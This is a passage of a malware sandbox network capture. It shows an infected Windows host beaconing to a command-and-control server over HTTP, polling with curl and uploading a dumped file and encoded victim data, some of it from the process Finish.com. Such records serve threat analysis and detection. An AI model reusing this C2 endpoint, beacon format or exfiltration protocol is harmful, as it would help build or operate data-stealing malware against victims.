Nov 24, 2024 12:07:28.855890036 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:28 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	50080	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:28.329150915 CET	301	OUT	POST /v10/ukyh.php?uvyw=2 HTTP/1.1 Content-Type: multipart/form-data; boundary=----974767299852498929531610575 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 699317 Cache-Control: no-cache
Nov 24, 2024 12:07:28.329368114 CET	11124	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 37 34 37 36 37 32 39 39 38 35 32 34 39 38 39 32 39 35 33 31 36 31 30 35 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 Data Ascii: ------974767299852498929531610575Content-Disposition: form-data; name="file"; filename="C:\Users\user\AppData\Roaming\DolphinDumps\4CA966315CCC70F4BEF0FE322EDE46.png"Content-Type: application/octet-streamPNGIHDR
Nov 24, 2024 12:07:28.448957920 CET	1236	OUT	Data Raw: 4f 9d 7f 9c 9d 5e 04 c2 67 ec 74 6b 98 c0 e7 24 b9 a7 0e c0 98 db 21 7e 5f ba 10 d3 35 e0 5b 42 6d c6 8d d5 75 60 db f5 a7 39 34 13 80 7a 1b f0 e4 9d e2 cf b2 c3 82 34 f2 3c 40 2b 04 91 7c ba 1a 2c 21 a8 eb c2 8c 12 80 92 80 a9 63 6f eb f8 7d 8c Data Ascii: O^gtk$!~_5[Bmu`94z4<@+\|,!co}HjI\>i_mg#]ZO0exN)RO1FBohdMOkr>D29Cm}knks{MW##%cvb&x:$$n@H?j)
Nov 24, 2024 12:07:28.449192047 CET	4944	OUT	Data Raw: b4 65 3c 1f 21 54 ae 99 93 9f 3a 23 fe 1d 8b eb 81 cd e3 d9 31 27 69 e7 89 3d c9 bd 1c 09 3e 50 0d 92 10 58 73 2d 99 11 79 88 88 44 04 da 6e 43 9d 9d e6 9b df 12 06 36 8d 3f 6b 84 f9 84 2d e2 99 26 36 b8 d9 cd e1 8f 66 2c 0e 53 b6 8e ff f7 f7 99 Data Ascii: e<!T:#1'i=>PXs-yDnC6?k-&6f,S:&n8gscN\(%QbQ01d_.+ltM!?C@$kC"ObO2PsM%> GM8CRpXOu>Bdma+
Nov 24, 2024 12:07:28.449305058 CET	2472	OUT	Data Raw: 62 af 53 ac c0 b3 eb 71 01 38 8c 27 fb 3c 3c e9 67 a9 21 f3 24 fb ca 98 d6 e4 24 fe 86 38 8f 5c 8c d5 be fa 60 25 01 87 be f6 70 03 63 25 00 ed dc d2 4e 00 2a 27 a9 97 c7 6c 4e 7b ed 7a e2 97 1e 6c 60 42 dc 3b 14 e3 90 4b 3f 0f c9 3e db 35 a8 2e Data Ascii: bSq8'<<g!$$8\`%pc%N*'lN{zl`B;K?>5.A@?V\|;.?S\|>^kkn@<F+@2/_SgB?,FSw;1q$Et$$\|xZaA`IglF~m!vY\I?N"O~ K?
Nov 24, 2024 12:07:28.449331999 CET	2472	OUT	Data Raw: 56 00 52 9b e4 5e 26 00 1b 24 a0 11 72 56 f8 31 4a ee a9 c6 eb e6 cb 6b 80 b9 e0 aa af 95 7f 82 35 71 5d fd 45 00 4a da 21 f6 58 03 9d 7e 9a 23 f6 18 25 03 73 d9 07 8a 09 2b e5 72 10 73 56 fc 09 a4 9d 5e 0a a2 37 06 33 97 d4 63 af 6a f2 8e 3f 61 Data Ascii: VR^&$rV1Jk5q]EJ!X~#%s+rsV^73cj?a?kSvJ$<H?[%1s\q\gHPNX!w9Dd]wS%XS#)=})V$T/N]G&n"O @k>a y:Kb$&HL)3iZ=g
Nov 24, 2024 12:07:28.449357986 CET	2472	OUT	Data Raw: 47 d7 1f 02 50 92 ce ca 40 c5 54 ab 38 a3 b0 71 60 ad 39 70 86 ce 81 b4 af 94 77 ba 56 2b c1 c6 73 f6 78 f3 2e 73 90 94 13 79 1c 19 c7 5a 02 8f b5 95 7c ea 2a d4 5e 46 72 da a7 5a 49 3f c5 d4 f5 47 9d 3e 8b 9c 3a 0d f5 66 5e 09 3f e4 9e ba fc 98 Data Ascii: GP@T8q`9pwV+sx.syZ\|*^FrZI?G>:f^?+x9HZ:6.d!kAIAob3p/nx2uI}'"< gY~7?o~^(M/]Ew7W!+V[._guVx
Nov 24, 2024 12:07:28.449435949 CET	2472	OUT	Data Raw: 1b f3 33 c4 7a 2b 28 25 fb 90 72 56 e2 09 f2 92 75 12 7b 92 7a 08 40 ea 85 15 87 a0 b9 3d 8f 75 12 7f 15 c4 a8 6b 84 38 4c e0 67 8e 63 7d 53 ba 10 e3 f7 2e a1 66 52 fc 1d 4c da 12 89 87 e4 a3 6b 30 fe 7c 71 1c da 0c 91 47 27 60 01 6b c5 06 3e 73 Data Ascii: 3z+(%rVu{z@=uk8Lgc}S.fRLk0\|qG'`k>smorwCD8k1I~e'5FWw]cT^{#3y?r% j;Do,% _Lr/F,MXtuS}yA-O)fy?iS{N
Nov 24, 2024 12:07:28.449521065 CET	2472	OUT	Data Raw: 7b 24 00 75 5d 97 b9 95 7f ea e4 53 cc 8a 3f 46 d5 f0 ac 40 89 42 ed 51 b7 e0 e4 f8 bd 10 75 f9 33 fc 34 d7 35 5f 09 40 d5 da fa 5c fe 11 53 9d 15 7e 92 81 12 7e ac e9 f8 23 46 27 e0 06 fc 2e 63 4c f2 8f 9a da 00 e2 ef 27 ef 55 48 08 aa 2b b0 ea Data Ascii: {$u]S?F@BQu345_@\S~~#F'.cL'UH+]#$c W~8gx`z>O$~I{V,{w~z@a]l5]BoX?OOY<y9_+_H]y^Cm+FE
Nov 24, 2024 12:07:28.571203947 CET	9888	OUT	Data Raw: 46 cb 29 a7 8e 8d 00 f4 c8 05 e0 21 e3 02 b0 2b c6 05 60 67 78 d2 cf 52 77 a5 9f 25 7e 8f 2e 19 17 80 eb 56 00 7a a2 af 19 de 7e 0f 4f fe 41 af 02 b0 1d 56 ee 79 ac 2f 02 d0 d2 10 2b cf 59 1f 05 20 78 52 af 1b 3c e9 67 b1 d2 6f f0 c0 b8 e7 03 22 Data Ascii: F)!+`gxRw%~.Vz~OAVy/+Y xR<go";BCq-!%g8K@!fNvxfP1s^f S7{O8_Oy'>SY7qVb\|iH,b]EY$$%Yy}i
Nov 24, 2024 12:07:28.571259975 CET	7416	OUT	Data Raw: 20 ee 18 25 f6 6c 5c 28 06 12 7e cd 44 a1 ed f6 93 98 d3 1a 10 76 8c 12 80 cd ea 98 6b 6d 65 9f 3a 03 6d 4c 72 90 7a 75 f8 21 f9 24 f5 88 29 ee 89 41 d6 aa b7 62 4f 57 81 25 f8 24 03 3d 01 c8 58 5c 0f 2e c4 1f a4 ab bf 11 e4 1f 23 cf 03 9c b2 5b Data Ascii: %l\(~Dvkme:mLrzu!$)AbOW%$=X\.#[]?$w#P\BLHYlq(1Z{77:a$dPVh'c!VJ;5H{yk%l-p]}Ii`M18u;g/q`bL3\$lNi^>'aG
Nov 24, 2024 12:07:30.913765907 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:29 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	50081	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:29.702246904 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:30.976016998 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:30 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	50082	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:31.156582117 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:32.508452892 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:32 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	50083	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:31.224884033 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:32.489780903 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:32 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	50084	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:32.689677000 CET	176	OUT	GET /v10/ukyh.php?jspo=3002&melq=79019141f392e1d4f8c60697fd9f5a0e2&jwvs=4CA966315CCC70F4BEF0FE322EDE46 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /*
Nov 24, 2024 12:07:34.084306955 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:33 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 74 72 75 65 Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	50085	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:33.006464005 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:34.308212042 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:34 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	50086	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:34.304775953 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:35.673651934 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:35 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	50087	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:34.500812054 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:35.774267912 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:35 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	50088	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:35.854590893 CET	136	OUT	GET /v10/ukyh.php?jspo=2022&jwvs=4CA966315CCC70F4BEF0FE322EDE46 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:37.161428928 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:36 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	50089	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:36.242769957 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:37.503277063 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:37 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	50090	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:37.449019909 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:38.762264967 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:38 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	50091	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:38.264523029 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:39.572587013 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:39 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	50092	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:38.903289080 CET	661	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 367 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 49 33 4b 44 6b 79 4d 69 70 4c 4f 46 35 64 63 32 64 77 63 56 35 6a 62 6d 5a 74 5a 6e 74 65 51 33 42 79 52 47 46 30 59 56 78 53 62 57 6c 76 61 57 35 6e 58 6b 5a 76 62 48 4a 6f 61 57 35 47 64 57 56 77 63 56 34 30 51 30 4d 35 4e 44 51 78 4d 54 64 42 51 55 4d 33 4d 45 51 38 51 45 56 47 4f 45 52 48 4f 7a 49 77 52 30 5a 48 4e 6a 52 66 5a 47 34 6d 4e 58 68 62 51 6c 30 78 4d 44 41 71 4d 54 49 34 4d 7a 45 71 4d 54 55 36 4c 6a 49 7a 4e 53 34 79 4d 44 51 6d 4e 7a 5a 5a 51 46 30 7a 4d 6a 41 6f 4d 7a 41 77 4b 45 45 36 58 46 56 78 62 58 42 7a 58 47 6c 75 5a 47 64 75 63 56 35 44 63 6e 4a 47 59 58 5a 70 56 46 42 74 59 57 39 70 62 6d 64 63 52 47 39 75 65 47 70 70 62 6b 52 33 62 33 42 7a 58 6a 52 44 51 54 73 32 50 6a 4d 7a 4e 30 4e 44 51 54 63 79 52 44 5a 43 52 30 51 79 52 6b 55 7a 4d 44 70 48 52 45 55 38 4e 43 78 34 62 6d 56 5a 51 6c 38 7a 4d 6a 41 6f 4f 54 67 79 4d [TRUNCATED] Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTI3KDkyMipLOF5dc2dwcV5jbmZtZnteQ3ByRGF0YVxSbWlvaW5nXkZvbHJoaW5GdWVwcV40Q0M5NDQxMTdBQUM3MEQ8QEVGOERHOzIwR0ZHNjRfZG4mNXhbQl0xMDAqMTI4MzEqMTU6LjIzNS4yMDQmNzZZQF0zMjAoMzAwKEE6XFVxbXBzXGluZGducV5DcnJGYXZpVFBtYW9pbmdcRG9ueGppbkR3b3BzXjRDQTs2PjMzN0NDQTcyRDZCR0QyRkUzMDpHREU8NCx4bmVZQl8zMjAoOTgyMzEoMTc4LjIxNyYwMjQuNTZbQF8%3D
Nov 24, 2024 12:07:40.264004946 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:40 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	50093	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:40.080641985 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:41.395768881 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:41 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	50094	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:41.603795052 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:42.956691027 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:42 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	50095	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:43.143423080 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:44.452377081 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:44 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	50096	178.215.224.74	80	5544	C:\Users\user\AppData\Local\Temp\768032\Finish.com

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:44.616657019 CET	405	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 111 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 7a 4b 44 6b 79 4d 6a 45 25 32 46 4b 46 6c 49 58 54 4d 79 4d 69 67 7a 4d 6a 41 7a 4f 53 49 7a 4e 54 67 73 4d 6a 45 31 4c 6a 49 79 4e 69 59 31 4e 46 74 41 58 77 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAzKDkyMjE%2FKFlIXTMyMigzMjAzOSIzNTgsMjE1LjIyNiY1NFtAXw%3D%3D
Nov 24, 2024 12:07:45.934109926 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:45 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	50097	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:46.440603018 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:47.755523920 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:47 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	50098	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:47.944969893 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:49.258510113 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:49 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	50099	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:49.474704981 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:50.828705072 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:50 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	50100	178.215.224.74	80	5544	C:\Users\user\AppData\Local\Temp\768032\Finish.com

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:50.960824013 CET	405	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 111 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 7a 4b 44 6b 79 4d 6a 45 25 32 46 4b 46 6c 49 58 54 4d 79 4d 69 67 7a 4d 6a 41 7a 4f 53 49 7a 4e 54 67 73 4d 6a 45 31 4c 6a 49 79 4e 69 59 31 4e 46 74 41 58 77 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAzKDkyMjE%2FKFlIXTMyMigzMjAzOSIzNTgsMjE1LjIyNiY1NFtAXw%3D%3D
Nov 24, 2024 12:07:52.320950985 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:52 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	50101	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:52.804640055 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:54.155518055 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:53 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	50102	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:54.339731932 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:55.645973921 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:55 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	50103	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:55.850605965 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:57.150598049 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:56 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	50104	178.215.224.74	80	5544	C:\Users\user\AppData\Local\Temp\768032\Finish.com

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:57.317951918 CET	405	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 111 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 7a 4b 44 6b 79 4d 6a 45 25 32 46 4b 46 6c 49 58 54 4d 79 4d 69 67 7a 4d 6a 41 7a 4f 53 49 7a 4e 54 67 73 4d 6a 45 31 4c 6a 49 79 4e 69 59 31 4e 46 74 41 58 77 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAzKDkyMjE%2FKFlIXTMyMigzMjAzOSIzNTgsMjE1LjIyNiY1NFtAXw%3D%3D
Nov 24, 2024 12:07:58.648082972 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:58 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	50105	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
